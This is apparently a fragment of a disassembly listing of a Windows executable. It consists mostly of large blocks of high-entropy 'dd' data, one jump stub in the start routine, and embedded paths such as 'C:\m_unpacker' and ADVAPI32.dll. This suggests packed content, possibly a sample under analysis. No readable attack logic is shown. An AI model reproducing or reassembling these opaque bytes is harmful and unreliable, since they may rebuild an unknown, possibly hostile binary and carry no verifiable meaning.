		dd 424300B4h, 0B6516CC3h, 0ABF2C131h, 0BDD010B5h, 0F59161Ah
		dd 0A2BC1FFCh, 1E67CA1Fh, 11435400h, 530565E2h,	2400C018h
		dd 369B1A4Ch, 0EC006F38h, 0BE1987EBh, 943F970h,	0E69767A4h
		dd 62690C90h, 0E171112h, 61D86800h, 0FAF2B950h,	9AEB0039h
		dd 1830F895h, 0F00D18Bh, 5F76AE4Dh, 0BC6BFD5h, 3725B755h
		dd 46939018h, 4C382A01h, 6475C8DBh, 0ECFDEBC8h,	0A9BD2CB7h
		dd 0B8C200F0h, 0B9448A94h, 0B1589917h, 88A864C4h, 0E22A2700h
		dd 1FAD4D5h, 1C864E00h,	5A5ED206h, 0CF8300D8h, 0DEADD9D6h
		dd 0B63A8A50h, 0C2E10EFDh, 2BA24017h, 6E7C3Dh, 0D9DAEA92h
		dd 0B12C6F46h, 9D4C681Dh, 9E808A1Fh, 0F1A6D4D0h, 0DF2430CFh
		dd 665EAD40h, 789CEC18h, 6079DE11h, 18B369DDh, 630048C4h
		dd 9F1D7CF5h, 163A1EC3h, 1DFE629Ah, 66E40F2h, 5FCC2BFFh
		dd 55D55D00h, 72B26A4Ah, 1A530087h, 8486D84Dh, 0F01846B4h
		dd 4469D002h, 0DFA80377h, 42C1E2F5h, 0A0F286B0h, 8B03FE00h
		dd 0C3B96EE3h, 0FA883E84h, 1814CC80h, 41D5B53Ch, 2E17A9C0h
		dd 0BD6E73h, 0BCB2E9B4h, 0E2A08EF0h, 0C2FE5014h, 0B92294h
		dd 89DBF9D4h, 0D8518CD7h, 0E0370B00h, 0E180977h, 0C6871E58h
		dd 0E4050C48h, 0DD006DA1h, 63F637E3h, 0A0FDB520h, 234D5E2h
		dd 2611F712h, 94A0D279h, 0A5FEEF23h, 6433580Fh,	0F32AA007h
		dd 5847F81h, 0F84E093Bh, 0ED5C00D9h, 128B97Eh, 9427C303h
		dd 88765FC2h, 3812BFD2h, 0F10009D8h, 21FF8878h,	0DC6079ADh
		dd 7F97DB69h, 25F5E8CDh, 3C70B2E1h, 0D731A00Fh,	8190A0F4h
		dd 0EC50AB9Eh, 0D0120747h, 0C0D1AECCh, 0E113A822h, 3F25CF4h
		dd 46FC2600h, 6F879D19h, 0F62330D0h, 0EBDCCFF9h, 0B74071D9h
		dd 3C8A99FCh, 196379CDh, 0F7B84AC2h, 0EA006685h, 276BFBC6h
		dd 7CE7FCA7h, 7861004Bh, 21FEE073h, 6E325FACh, 0C0E138A6h
		dd 15CF82D7h, 8842D959h, 700AA30Fh, 0C674035Eh,	0BEB0F7E8h
		dd 26006C05h, 5D7DE1EFh, 1885E15h, 0B0FED9Dh, 83FB1ED0h
		dd 0C0A84CB1h, 88D6A0EEh, 1F01C4Bh, 186DFE5h, 792256EFh
		dd 80B9B9E8h, 99A2DBCAh, 10E75EAh, 47E65F62h, 0F5CF9D2Ch
		dd 0BB2981EDh, 0DB45CC9h, 90669FF0h, 0FE910270h, 74AA2DFCh
		dd 511E2C46h, 47AE631h,	0FF86FB3Fh, 0B8F0E980h,	0A1B0A4Fh
		dd 0CAAAAD1h, 3EB11528h, 0D87FD600h, 2DB7EDAh, 0D219C0CEh
		dd 6F8E586Bh, 81D9470h,	0CF5E775Fh, 81E628C0h, 15E4F1B6h
		dd 9C40D9FAh, 0B1520076h, 200B53B0h, 0EC00E014h, 18436056h
		dd 9008156Eh, 5FD41120h, 73C0406Dh, 22D06A14h, 5FABC0A0h
		dd 0ACD9CF8Ah, 78AF18FCh, 230A11C7h, 52070500h,	9B104EFCh
		dd 0B71000Ch, 0D1543D8Ch, 4D1818A2h, 896021ABh,	2613050Fh
		dd 46BA6D5Ch, 71F30294h, 1D3E8A00h, 62310552h, 957A0AB0h
		dd 0E08CE0h, 0F6E46F99h
		dd 0EE261D61h, 0AF0E5822h, 0D8897B79h, 8639DAh,	78333A82h
		dd 5C48CC6Ah, 0AC85452h, 905BD98Dh, 0D8B43280h,	3B24Dh
		dd 0F476A16h, 20B1144h,	3BA62B00h, 0F6E8A8B6h, 0C61B0453h
		dd 8101616Ch, 50A568C7h, 527A9C98h, 93DB51C1h, 8405E9Dh
		dd 62A45A0h, 55729ABFh,	0B09B814h, 8011D0B8h, 0ECAEDE5Ch
		dd 0C4D419CFh, 0FF8950AAh, 2795A900h, 7E58AC38h, 76CA0112h
		dd 0F8048244h, 3FB5F417h, 96F7460Fh, 8A0AA5B4h,	97A3A420h
		dd 47650FBCh, 390072BFh, 624429E2h, 0D65F2E00h,	4D5CB3CCh
		dd 617300E3h, 0D78387F9h, 0ED55021Dh, 0B5740C0h, 2E0064E7h
		dd 0AF4CECFAh, 2ACFA9EBh, 0B4DED2h, 0C0581762h,	0F73EEDA5h
		dd 3D0EBA02h, 808B91DBh, 9CF387D4h, 582D76A4h, 4C0189Eh
		dd 0E57D547Ch, 0D6D3A00h, 4A392E85h, 34E600CBh,	3D61EB1Eh
		dd 9C15E4A0h, 2A45473h,	0BD46B9F6h, 384479h, 773D2374h
		dd 0EB900A92h, 5D8AD600h, 0C338DA11h, 9FD4A068h, 8863735Fh
		dd 70A0EC05h, 860BD1FFh, 80E8D3EEh, 21A0A14Ah, 75D0A0C7h
		dd 13B1840h, 2498C8F9h,	620A0C00h, 28A5A11Bh, 0F7411EE1h
		dd 304E98B8h, 9053826Fh, 0FA3105DCh, 63805FE8h,	0F3459Ch
		dd 34CB8CDBh, 0B7D1BEE9h, 0F91B6079h, 8640C6F2h, 0A389300Ch
		dd 966D15A9h, 0EC4D8500h, 10AEF02Dh, 2BFE00F1h,	8B9DE7ADh
		dd 8200D63Fh, 0E280DB92h, 76C02Ah, 6D44BE32h, 0A94D6F54h
		dd 0D707D30Ah, 5C8EA059h, 0C0DD1E2Bh, 0CE7E7CC0h, 0A8FA20CFh
		dd 0E83B488h, 0AFF5CB6h, 168CD342h, 70906861h, 9AE4D05Ch
		dd 4BBB0800h, 6EA491AEh, 2AFD01C4h, 0B7A51ED6h,	689020EBh
		dd 0A9AFE400h, 66926184h, 383588Ah, 5C45A500h, 0A7E478A0h
		dd 73F4FB00h, 20D3199Fh, 85410022h, 32E8DDCFh, 421D3BC5h
		dd 10184802h, 20B96010h, 0F400E429h, 0C6B4215Ah, 2E997A34h
		dd 0A39D7Bh, 47BCDF3Eh,	9E75F178h, 41C0D3F6h, 1D5B5355h
		dd 3E920F8Eh, 47C02565h, 0D6B3336Eh, 29B89C30h,	3C1EC166h
		dd 6500B722h, 0DA457C26h, 0C6391137h, 31586BDh,	73A03AB9h
		dd 584E0010h, 0F9535954h, 8B004F2Eh, 80F08FDAh,	0C1367F34h
		dd 0BF9B1829h, 0E048D01Ah, 0CB183D73h, 4BE911B1h, 0B343036Ch
		dd 28C06FB5h, 9FDEF10Eh, 6D64C01Ch, 5FE56D9h, 0EA34763Bh
		dd 114AC0A0h, 0C030C842h, 3FFA3131h, 94D0092h, 0B78ED9Ch
		dd 0E1815FBh, 6C691712h, 0F5AB001Dh, 60B5FDF9h,	433A1433h
		dd 6F3BC8h, 0E6E522BDh,	3F152EC9h, 0A8F4095Ah, 1B6AC30h
		dd 0BB4D43CDh, 0CC126A50h, 37615F02h, 38853421h, 6403F18Eh
		dd 35220C95h, 0BBCB8A0Ch, 14FF911Ah, 8139753h, 22393E00h
		dd 0AF0473DFh, 0EE316700h, 9DBEBD34h, 83F026h, 4F1145F4h
		dd 0B86491D7h, 0BC590160h, 2658A320h, 473F2Bh, 491B83BAh
		dd 76989FBEh, 0C78CB40Fh, 129803E5h, 97710004h,	0C9FE1C03h
		dd 310029C4h, 8249351Ah, 28BCB42Dh, 3DD885CAh, 4500A8ECh
		dd 0B8E6301Bh, 0AC18DE5Ah, 33E12FBDh, 75BF13D4h, 4D91B076h
		dd 4472550Eh, 20ECE0C4h, 4940E9CEh, 6DC00887h, 0B79D14E6h
		dd 0F18594A8h, 0CCC10C00h, 0DDCC5C3h, 3BAF7AFFh, 0E1F58F1Ah
		dd 679C38E0h, 846B31DAh, 1EFFB8E4h, 755F2873h, 0F14720C0h
		dd 97A90B4h, 481B4689h,	10679F80h, 9507DBC7h, 0B6FF3A23h
		dd 0C4D4497Dh, 348D03BDh, 0DD9D20B3h, 5F3A1902h, 706AD49Eh
		dd 3207FE93h, 95C13EB9h, 0AB193860h, 172B1802h,	40342E31h
		dd 0A3479480h, 0B5D2A0B8h, 0A6E0302h, 63C3BE3Eh, 65694DE0h
		dd 493BB930h, 2F82A5Ah,	341DFA53h, 0F049259Bh, 5330E903h
		dd 40F513B0h, 0AE2FEAD8h, 6A0CB04Fh, 190CB5B6h,	5180E1B8h
		dd 0E820DD16h, 6C00CD31h, 0EEF896C0h, 422A25h, 5A1B2F64h
		dd 0BE9CEBE5h, 0D3612B60h, 0FE4E2Dh, 6B0EFADFh,	0E452D5DBh
		dd 75BD8300h, 0F7909DA5h, 18B8765Ah, 0E0E376B2h, 0A100E898h
		dd 3F968E50h, 300B5FDCh, 6A893DB9h, 0EB00A558h,	0FDD2D0Ah
		dd 0AC364B03h, 582FC68h, 0BF70F09Ah, 0BE900198h, 80031287h
		dd 7ABB5621h, 7B01CE9h,	6A24566h, 496D052h, 0A8A06D70h
		dd 0B722EE2Fh, 5927003Eh, 7C9E3ABh, 0C813FA0Eh,	5830261Dh
		dd 3ED4D94Ah, 360578CBh, 5CB69C33h, 0C09B40F8h,	0A0982679h
		dd 775339h, 0D576A1E4h,	99BC22DEh, 0AC7C0104h, 0CF2E6A28h
		dd 3B0A3F3h, 49C0E09Ah,	99895323h, 91E01ADh, 0B8267240h
		dd 0EE81803Ch, 96C89F11h, 87781F81h, 49634389h,	4107D49Dh
		dd 0D0589A6Fh, 0ECCF5F91h, 0E4F46CCh, 0C0B0B473h, 3580886Fh
		dd 2150FE9h, 6A9894ABh,	9A1C6634h, 3F000E05h, 0D599A0B3h
		dd 2EC5001Ch, 0C234B92Ah, 0CB139368h, 4843F2BCh, 24D180FFh
		dd 4008C079h, 3371562h,	0BF008872h, 7BBD5FAFh, 0CED687h
		dd 2FC2A2D2h, 30701398h, 12C9BE4Ch, 5C46279Bh, 51D99Ah
		dd 336A51ADh, 57699DF0h, 14023473h, 316523A2h, 1E906602h
		dd 49ADD8BAh, 3881957Eh, 0C443D113h, 863ACF37h,	3091150Dh
		dd 0D29A18A0h, 0D1E139h, 0DFCC5CB4h, 615A60E8h,	0DDCD8800h
		dd 0F1EC516Dh, 94BF037Eh, 372DC734h, 2C844814h,	0B52254h
		dd 0BBF631E5h, 2D5FEFCAh, 0BE48B00h, 0EE73F5B4h, 34E30040h
		dd 0BD0EF4CFh, 0E0E857BAh, 22FC4D4Ch, 5E9EC3Ah,	1B81336Ch
		dd 15248064h, 6148EEC6h, 7F760F94h, 0E06FA3D6h,	9DA7C035h
		dd 30700A1h, 208D29Bh, 9C3369F8h, 0B83891E1h, 265EA1Ah
		dd 96BE2D9Ah, 2CC4B96Dh, 338B7300h, 9A3CE1CDh, 0C68030FEh
		dd 0E9628639h, 9D2F351Fh, 93EC8314h, 81058008h,	0D95D490Bh
		dd 66B8D40Ah, 0E0478503h, 0F96DE1C4h, 40329A37h, 40B49D26h
		dd 7C85BBE2h, 8C787100h, 0C4D48AA8h, 276F42Bh, 0BBDA51CFh
		dd 0E8C19ED9h, 0B0871416h, 13A98648h, 9D50190Eh, 828929Fh
		dd 4892C28Ch, 3190F03Dh, 9453B80Dh, 8800D8BAh, 2E21D9BAh
		dd 0B2E46AB5h, 0B6F82576h, 0B834FEF8h, 0D0CC61CBh, 0F8BB0082h
		dd 30BF4ADFh, 2618B1D6h, 0E329D99Dh, 0A35D3DB8h, 0EE03558Bh
		dd 83968400h, 0D2099D8Fh, 800E5495h, 909BBB40h,	3D5C3CC3h
		dd 379A39BDh, 6C41C19Dh, 1EC86028h, 1BF49301h, 9B8CB89h
		dd 9C302189h, 0EDFF2C10h, 0AB9A110Eh, 20464065h, 7EB071B9h
		dd 0CD8200B3h, 14496AA7h, 970BE348h, 3864B474h,	1920CC4Ch
		dd 0E12E5C03h, 6913C312h, 0AFF456h, 27A180D7h, 401C082h
		dd 0C3ED4FA5h, 1822B8E2h, 1C2CE1Fh, 0B9CB97DDh,	0A6418A0Fh
		dd 7100549Dh, 34825BE6h, 199F6DAh, 49CCBB46h, 0D0C3D062h
		dd 0BF00B329h, 72DB894Ch, 29C256Dh, 0C60F482h, 0A0C11531h
		dd 0EB987026h, 9D463F00h, 33122862h, 0BF2505B3h, 88B79A85h
		dd 9512FB0Ch, 1B01DAB5h, 0F8915F2h, 90AF7424h, 25F73DB4h
		dd 0DCA9F6B0h, 0B707F3E4h, 0DAFBC758h, 9DEAF9D0h, 5DAB816h
		dd 357AFBDh, 7D848813h,	0AAF22B00h, 78240597h, 0CE800027h
		dd 0C61CAEE0h, 79121371h, 300BA8B4h, 0BE8C828Dh, 0C125E39Eh
		dd 0BCD16175h, 1325C048h, 239C3105h, 38E8ECECh,	0D6061F4Bh
		dd 532D97D5h, 34B01338h, 9DF02298h, 4200E444h, 0B31AC4F6h
		dd 99288434h, 0DF113Ch,	0AB8A2B37h, 0B1D2F88h, 6287BB52h
		dd 0F4E15883h, 2E6C3BF8h, 0C2084C05h, 2C009C32h, 36297975h
		dd 81EC91F9h, 6E6D91CCh, 0C7FD842h, 0F0D89F00h,	468D83A5h
		dd 4B3916F7h, 8BE407C3h, 0DBB8DCF1h, 5805B12Ah,	0FA18E9F4h
		dd 0C328B6BCh, 0E8690008h
		dd 0ABE78A7Dh, 74944503h, 0B5209144h, 0EB05A1A0h, 0B96F3C60h
		dd 2750C00h, 0EDB087FDh, 0BF29C8h, 2108C0ADh, 0B2FF4ED0h
		dd 36D3CA0h, 0F742810Ah, 8340E415h, 5D1B4Eh, 0FE119719h
		dd 49A1B145h, 98D248h, 0BF83B860h, 39D909Ch, 0D320B5B9h
		dd 0A10029C0h, 2488EE38h, 6A7D83h, 221A21FFh, 5D26AF66h
		dd 0A946060Bh, 5724109Dh, 82E50069h, 4413CCE6h,	8000C165h
		dd 55A7A646h, 24286641h, 381F52h, 9D4E35B8h, 42482FE9h
		dd 8098486Ch, 58CDF6Fh,	0FA8F0079h, 1FEC018Eh, 3F7329A9h
		dd 0A6B58400h, 0E02AD457h, 87C0A060h, 982C589Ah, 44B04BC1h
		dd 0A4EAC0BCh, 73DC0713h, 6806D604h, 0A00F4A2h,	0F2C13748h
		dd 490E7B33h, 5F8B558h,	84FF0F6Dh, 0B6DC8839h, 0C80DBD26h
		dd 22C6B542h, 94A02AC0h, 0A6B933E6h, 9F997701h,	4197712Eh
		dd 16A9B670h, 234461Eh,	70CA8B60h, 0ADA29898h, 230002E8h
		dd 0DD4DE5B6h, 12A24A6h, 477192B4h, 0F96C9C55h,	914050CBh
		dd 5A0006F0h, 0C733C275h, 91BE8A54h, 36F80028h,	905DD1C8h
		dd 0B8D40F00h, 34CA46EEh, 6B13E583h, 0E02265EBh, 0C0BD7E03h
		dd 98134641h, 850F2FE0h, 9D5E9536h, 0E93E1B43h,	4901B921h
		dd 723FCC33h, 0D5005ABAh, 2BE6CC06h, 0D4003098h, 0AEEF20ACh
		dd 829D73h, 3EC334F7h, 0B8EE6E42h, 0F1F42455h, 0D296C499h
		dd 97738600h, 5D36FC98h, 23E2EAh, 6AA3AB59h, 586F8583h
		dd 1A48097Dh, 0B0392298h, 6C083870h, 0B228600h,	9034E744h
		dd 9112DC44h, 6E228064h, 0DF270B95h, 1DDD2B00h,	0E323F6E6h
		dd 0DA89075Ch, 0E89DF2E1h, 0E80AE280h, 1FE3797h, 942114BFh
		dd 30286F84h, 0B612FCD8h, 82218B4h, 7D34CCBDh, 0A26D091Fh
		dd 80689CD9h, 8809C1F8h, 43E420Ah, 0B4CC839Ah, 0B7330074h
		dd 0E05AC7CBh, 8B5CE220h, 0F5523905h, 7CA50500h, 8D9A2D88h
		dd 0C9B30110h, 0CBBA2691h, 0F5B6C8A0h, 91B949C9h, 0E07AD29Ch
		dd 0CB070EE4h, 2725371Dh, 9CE47F34h, 0B3C8A18Dh, 9EBEB6C8h
		dd 8C83801Ch, 859A6DF6h, 0B84F63EEh, 8ADF9040h,	74B94070h
		dd 17040093h, 0C6B1492Dh, 0AB0B7B28h, 1D5423Fh,	0FF1510E0h
		dd 498BDA10h, 83075F00h, 0B31B960h, 0CB4E09EEh,	0FC045D93h
		dd 20C0FA6Fh, 0B08C5072h, 34DC125Ch, 6430D29Ah,	400FB484h
		dd 932C5333h, 0D19C8D5h, 948B9180h, 7D2FA60h, 7B348770h
		dd 0B597345Bh, 89DC3864h, 50F0041h, 0BA9AD1Fh, 0B8DD9B18h
		dd 0A21D1401h, 0C985202Bh, 5C493124h, 348A0Fh, 0EE9C6B6h
		dd 89A4C29h, 0A0FB8180h, 897B4213h, 73B77B1Fh, 1D608C00h
		dd 17A8B5A6h, 0A22A3Dh,	0DEECE62h, 0B400B7B0h, 778263BFh
		dd 60B89BD4h, 123A103h,	0C7002F6Fh, 29784BA1h, 162CF76h
		dd 3107FC43h, 305EBFB5h, 59249020h, 9007C9Eh, 0E5468EA4h
		dd 456700E6h, 5A6C72EDh, 0B830FFFCh, 0CDF7A9E2h, 99BDF8A8h
		dd 0F450310h, 4F8C990h,	0CA0022B7h, 0C3F36DC1h,	1EDBCDEEh
		dd 4E1B4A21h, 868069AEh, 61032D3Eh, 8A609CB9h, 6A9DD2h
		dd 614F68E1h, 775DBBA1h, 0B3FB5002h, 2002B854h,	7B39B268h
		dd 98A7E300h, 0CE4F990h, 86CA00E0h, 0E6D2962h, 2649B96Ah
		dd 0FED10738h, 3C208A13h, 1C69753Dh, 5DE999FBh,	0C0B25FF4h
		dd 6D33252Bh, 1144B3B6h, 0AA890A9Ah, 67F815B1h,	0F0927091h
		dd 0BFE2235Ch, 0AFCE750Bh, 12D0489Dh, 0AACB00EDh, 0EA48625Ah
		dd 0BA00BD0Dh, 60E6F840h, 705D5585h, 38D188B9h,	19570E02h
		dd 0E06ABAE0h, 48B9C1C4h, 0D71145Fh, 1154017h, 0F706E891h
		dd 257F3E00h, 0CA2460E3h, 562901C4h, 47EB2B5Fh,	0AA54409Ch
		dd 1099506h, 0C4581467h, 0DD610060h, 7A41D26Dh,	4B5A0230h
		dd 0A4988423h, 0C20A1544h, 5848EC4Ch, 0BB051FFAh, 0E15FD523h
		dd 2800C4C4h, 61941848h, 0E30E435h, 0EBB16A1Bh,	31F95A82h
		dd 3EFB8440h, 0DD023D7Ch, 2150863h, 4872B9h, 0D07FF5B8h
		dd 4DDD8290h, 0EE034001h, 13150139h, 90981DCCh,	0DE08F1BCh
		dd 0EFC4C689h, 851200E8h, 0F048C2FCh, 562C20F6h, 9300E02Ch
		dd 44E5CF34h, 91C000BDh, 6F122262h, 8006CAA9h, 1CB8CB8Ah
		dd 6E90FF1h, 9A0952DBh,	2FAF5C68h, 174AD500h, 5B44F367h
		dd 0EE770001h, 121A348Ch, 3102E25Fh, 0BAB1A96Eh, 0F44C809Ch
		dd 944FC7Ch, 37E42DD8h,	0C6078064h, 354C02F5h, 0E971EF0Fh
		dd 4D2840F0h, 0F49837h,	0C0E3B529h, 9DD3DE19h, 0DF7AE813h
		dd 0E42A6004h, 894B0305h, 0E307240h, 4316C9E7h,	0B8ACBB3Fh
		dd 70C31857h, 66AE450h,	0C00B1EC6h, 0FE79393Eh,	940A100h
		dd 8F6B4D2Eh, 50009813h, 82AD9C11h, 0CAC46280h,	0DC04614Eh
		dd 0B1B5259Bh, 54839CC8h, 656CC3h, 4513FD79h, 0BE5BF748h
		dd 0B091F928h, 68851B45h, 30400D8Dh, 0CB178194h, 82B5FA05h
		dd 0D2C15C38h, 0EF307329h, 0FF9A1D90h, 0FCE8039Dh, 80BC835Ah
		dd 0AF22DAA6h, 4B00FEFEh, 0F51EBB8Fh, 0BD30C5Fh, 30E23C06h
		dd 51A88887h, 6D12DD2Ch, 0BB4200DCh, 7173568Eh,	0E1410266h
		dd 0AEC4B67Dh, 2E012846h, 16363C0Dh, 9BD4B028h,	49D00120h
		dd 84909C2Ch, 3FB8E061h, 8F004492h, 0DC048EBCh,	24EDFE2Ch
		dd 3CF416A9h, 1A230181h, 78B7B670h, 64738BA0h, 780D00C8h
		dd 6054065Fh, 0D00019E0h, 0B3843826h, 0A61C19Ch, 0A6EB4799h
		dd 0DF502C4h, 50E49237h, 81456539h, 0C033730Fh,	0F0E0A35Bh
		dd 0E0CE099Bh, 7890B835h, 7707A492h, 0E8663E17h, 0EA2E5240h
		dd 6610069h, 6DAAC72Dh,	68A0B955h, 77000246h, 6AE17E85h
		dd 88B2EDh, 26E28362h, 0F7EFC8BDh, 0E0483C29h, 35F2DB87h
		dd 0E4C7A8D0h, 15282FFCh, 0F9A3E420h, 0BB00140Eh, 0CABD12A5h
		dd 1435BDBh, 0C7C0B51Bh, 0FCF2796Eh, 700E40B7h,	0BCF19DEh
		dd 0FF2C6813h, 0AF7E0034h, 2555ED69h, 8427CBAEh, 8054AF12h
		dd 0AB533E0Ah, 0CC0D2907h, 0FDFF7F01h, 0B0h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53C6AA:				; CODE XREF: start:loc_4DE265j
					; DATA XREF: start:loc_4DE086o
		jmp	loc_53FA8F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 10h
		dd 5 dup(0)
		dd 0FF000000h, 0FFFFFFh, 6 dup(0)
		dd 4000000h, 7FFE03h, 3	dup(0)
		dd 5E000000h, 77E7ACh, 0
		dd 99000000h, 582Ah, 0
		dd 73000000h, 28BBDh, 0A0000000h, 3 dup(0)
		dd 0B3000000h, 77F7EBh,	6 dup(0)
		dd 0BE000000h, 5AF4h, 65h dup(0)
		dd 4000000h, 7FFE03h, 6	dup(0)
		dd 7D000000h, 0FFFFEFh,	76000000h, 0D2EBC39Dh, 9900Ah
		dd 0
		dd 0BC000000h, 0FBA445h, 6 dup(0)
		dd 0FF000000h, 0A3004Bh, 0
		dd 0D8000000h, 77E805h,	3 dup(0)
		dd 0C9000000h, 881857h,	3 dup(0)
		dd 0F000000h, 9FA0h, 3 dup(0)
		dd 0D2000000h, 0C0000076h, 5AC7h, 2 dup(0)
		dd 5000000h, 0FFFFEEh, 75000000h, 0FFAA5Ch, 0Eh	dup(0)
		dd 0FF000000h, 0FFFFFFh, 0
		dd 8D000000h, 5400008Dh, 77F512h, 2 dup(0)
		dd 92000000h, 0FEFFA49Fh, 0AFA1h, 0
		dd 63000000h, 53E4h, 0
		dd 25900h, 0EC000000h, 585Ah, 7	dup(0)
		dd 8D000000h, 2B01CF69h, 0
		dd 0E8000000h, 22Fh, 600h, 73000000h, 4040F17h,	7FFE03h
		dd 41000000h, 5761h, 0
		dd 3800AD00h, 0FFA5B1h,	4 dup(0)
		dd 25000000h, 0E3BCCCh,	3 dup(0)
		dd 52000000h, 4F9D36h, 1Ch dup(0)
		dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 7Dh dup(0)
		dd 4F000000h, 68FFFE14h, 0E400005Bh, 0FFFFA0h, 6C000000h
		dd 0AA010674h, 6957CEh,	2 dup(0)
		dd 0D8000000h, 0A17Fh, 99000000h, 537Ah, 5 dup(0)
		dd 63000000h, 5A5Eh, 2 dup(0)
		dd 0EB000000h, 391C08h,	0BF000000h, 9F9Bh, 0
		dd 0FF000000h, 0BFDFFFh, 0
		dd 0FE000000h, 0B000006Ah, 5AC0h, 4000000h, 0AFh, 0Bh dup(0)
		dd 9B000000h, 582Ch, 0A6000000h, 10057FDh, 5 dup(0)
		dd 28B00h, 8A000000h, 8Eh, 5 dup(0)
		dd 0FE000000h, 0A100006Ah, 5974h, 2 dup(0)
		dd 0BB000000h, 0FFFFC2h, 6 dup(0)
		dd 67000000h, 0F052ADD2h, 77DD59h, 0
		dd 82000000h, 77E78Bh, 6 dup(0)
		dd 3D000000h, 0FDE080h,	4 dup(0)
		dd 8000000h, 12FDh, 8 dup(0)
		dd 0B0000000h, 1EFFFh, 0Ah dup(0)
		dd 8D000000h, 4CFCA8Dh,	7FFE03h, 7 dup(0)
		dd 0C0000000h, 5AC7h, 4000000h,	7FFE03h, 0
		dd 0DE000000h, 0CDFFFFEFh, 77E776h, 2 dup(0)
		dd 87000000h, 5793h, 0EF000000h, 870056C5h, 5793h, 0
		dd 0FE000000h, 0F00006Ah, 5401h, 3 dup(0)
		dd 0E8000000h, 0A023h, 4 dup(0)
		dd 80000000h, 2	dup(0)
		dd 19000000h, 4	dup(0)
		dd 8E000000h, 81026413h, 0B73FFh, 0E877F500h, 8D000000h
		dd 78F48Dh, 5 dup(0)
		dd 0C4000000h, 12FFh, 6	dup(0)
		dd 0DC000000h, 0FF0000A1h, 0FFFFFFh, 3A8h, 0DD000000h
		dd 9F69h, 3 dup(0)
		dd 0D1000000h, 58CFh, 4	dup(0)
		dd 0EF000000h, 3177E793h, 59E2h, 4 dup(0)
		dd 6A000000h, 77D4C9h, 6 dup(0)
		dd 1000000h, 1F000000h,	7F6293h, 2 dup(0)
		dd 0CD000000h, 0Ch, 0
		dd 4000000h, 7FFE03h, 0Bh dup(0)
		dd 6B000000h, 8Ch, 2 dup(0)
		dd 0DD000000h, 5771h, 7	dup(0)
		dd 98000000h, 0Dh dup(0)
		dd 0B000000h, 0F02475h,	0
		dd 9E000000h, 59CDh, 8 dup(0)
		dd 0E8000000h, 77E82Fh,	0
		dd 5000000h, 0C8B532h, 2 dup(0)
		dd 0A6000000h, 667FBAh,	0Eh dup(0)
		dd 0F3000000h, 0B2009F8Ch, 769E77h, 0
		dd 0C0000000h, 0FFFF95h, 3 dup(0)
		dd 2C000000h, 522A6Eh, 28h dup(0)
		dd 0A2000000h, 5A57h, 5	dup(0)
		dd 3B000000h, 9F3Eh, 3 dup(0)
		dd 7C000000h, 5B000000h, 3, 6 dup(0)
		dd 9D000000h, 57BBh, 2 dup(0)
		dd 44000000h, 4FF987Bh,	0FD9B9Bh, 0FA000000h, 7317F67Ch
		dd 0D42E7Ah, 2 dup(0)
		dd 0D2000000h, 5676h, 37000000h, 855A2Eh, 3 dup(0)
		dd 60000000h, 54B83A24h, 3C0012FFh, 77FF00h, 4 dup(0)
		dd 41000000h, 5761h, 3 dup(0)
		dd 88000000h, 0FFFFA1h,	3 dup(0)
		dd 0DE000000h, 6B3BD5h,	3 dup(0)
		dd 1000000h, 2 dup(0)
		dd 36000000h, 363636h, 0
		dd 8D000000h, 7A3032h, 2 dup(0)
		dd 0E3000000h, 0FFFFDAh, 4 dup(0)
		dd 43000000h, 53E1h, 4 dup(0)
		dd 0FC000000h, 8001FCh,	0D2000000h, 5676h, 9C000000h, 4	dup(0)
		dd 84000000h, 4	dup(0)
		dd 68000000h, 500A032h,	0E9E4138Ah, 77EBA6h, 4 dup(0)
		dd 0FE000000h, 6Ah, 7 dup(0)
		dd 0D3000000h, 0B4C7D6h, 0E0BB00h, 2 dup(0)
		dd 37000000h, 9FA0h, 8 dup(0)
		dd 43000000h, 0Fh, 0
		dd 13000000h, 3E1049h, 8 dup(0)
		dd 4000000h, 0A67FFE03h, 57FDh,	77D400h, 0
		dd 68000000h, 2300A015h, 5300h,	5 dup(0)
		dd 43000000h, 49575C3Ah, 574F444Eh, 79535C53h, 6D657473h
		dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 3Ah dup(0)
		dd 0F0000000h, 12FEh, 3	dup(0)
		dd 2000000h, 0E2005752h, 8A0FB5h, 2 dup(0)
		dd 23000000h, 5300h, 8 dup(0)
		dd 23000000h, 5700h, 5 dup(0)
		dd 0CA000000h, 5780h, 2	dup(0)
		dd 78000000h, 5A32h, 3 dup(0)
		dd 0F1000000h, 0FF605Fh, 1000000h, 5 dup(0)
		dd 0D7000000h, 27010732h, 21BD2Ch, 4 dup(0)
		dd 0B0000000h, 106h, 2 dup(0)
		dd 20000000h, 0D5B7B5h,	5 dup(0)
		dd 54000000h, 510057C3h, 44144EDh, 7FFE03h, 7 dup(0)
		dd 0FB000000h, 0F005F7Eh, 77F52Eh, 3 dup(0)
		dd 0A4000000h, 0
		dd 0F4000000h, 8005F6h,	0C5000000h, 4005912h, 437FFE03h
		dd 25AC95h, 0
		dd 9B025A00h, 6BC215h, 0D0000000h, 83000000h, 4431h, 4 dup(0)
		dd 2E000000h, 0FFFF89h,	0B7h dup(0)
		dd 3E000000h, 9E00h, 0Bh dup(0)
		dd 9A000000h, 77DD18h, 0Fh dup(0)
		dd 73000370h, 6385CF3Dh, 77E779h, 7 dup(0)
		dd 41000000h, 5761h, 2000000h, 0
		dd 8A000000h, 586Bh, 3 dup(0)
		dd 0DB000000h, 0E20405h, 0FE000000h, 6Ah, 53000000h, 57E1h
		dd 0Bh dup(0)
		dd 0F0025B00h, 0E057CBh, 0
		dd 4E000000h, 0FFFFAFh,	0
		dd 4000000h, 7FFE03h, 14000000h, 8A2765h, 4 dup(0)
		dd 82000000h, 3277E78Bh, 0A32B29h, 0F1000000h, 0FF605Fh
		dd 10h dup(0)
		dd 68000000h, 0FA54EBh,	4 dup(0)
		dd 4000000h, 8B7FFE03h,	53E2h, 2 dup(0)
		dd 4000000h, 7FFE03h, 0
		dd 60000000h, 53C7h, 1Eh dup(0)
		dd 6000000h, 0Bh dup(0)
		dd 0D2000000h, 41005676h, 94005761h, 0Ch dup(0)
		dd 0D1000000h, 7, 53000000h, 68FFFF95h,	77E83Eh, 3 dup(0)
		dd 14000000h, 0DE0h, 0DD000000h, 9F69h,	4 dup(0)
		dd 0DD000000h, 9F69h, 0
		dd 8D000000h, 23FFFF8Dh, 0FF6096h, 19h dup(0)
		dd 17000000h, 0FFFDF1h,	0
		dd 1000000h, 6 dup(0)
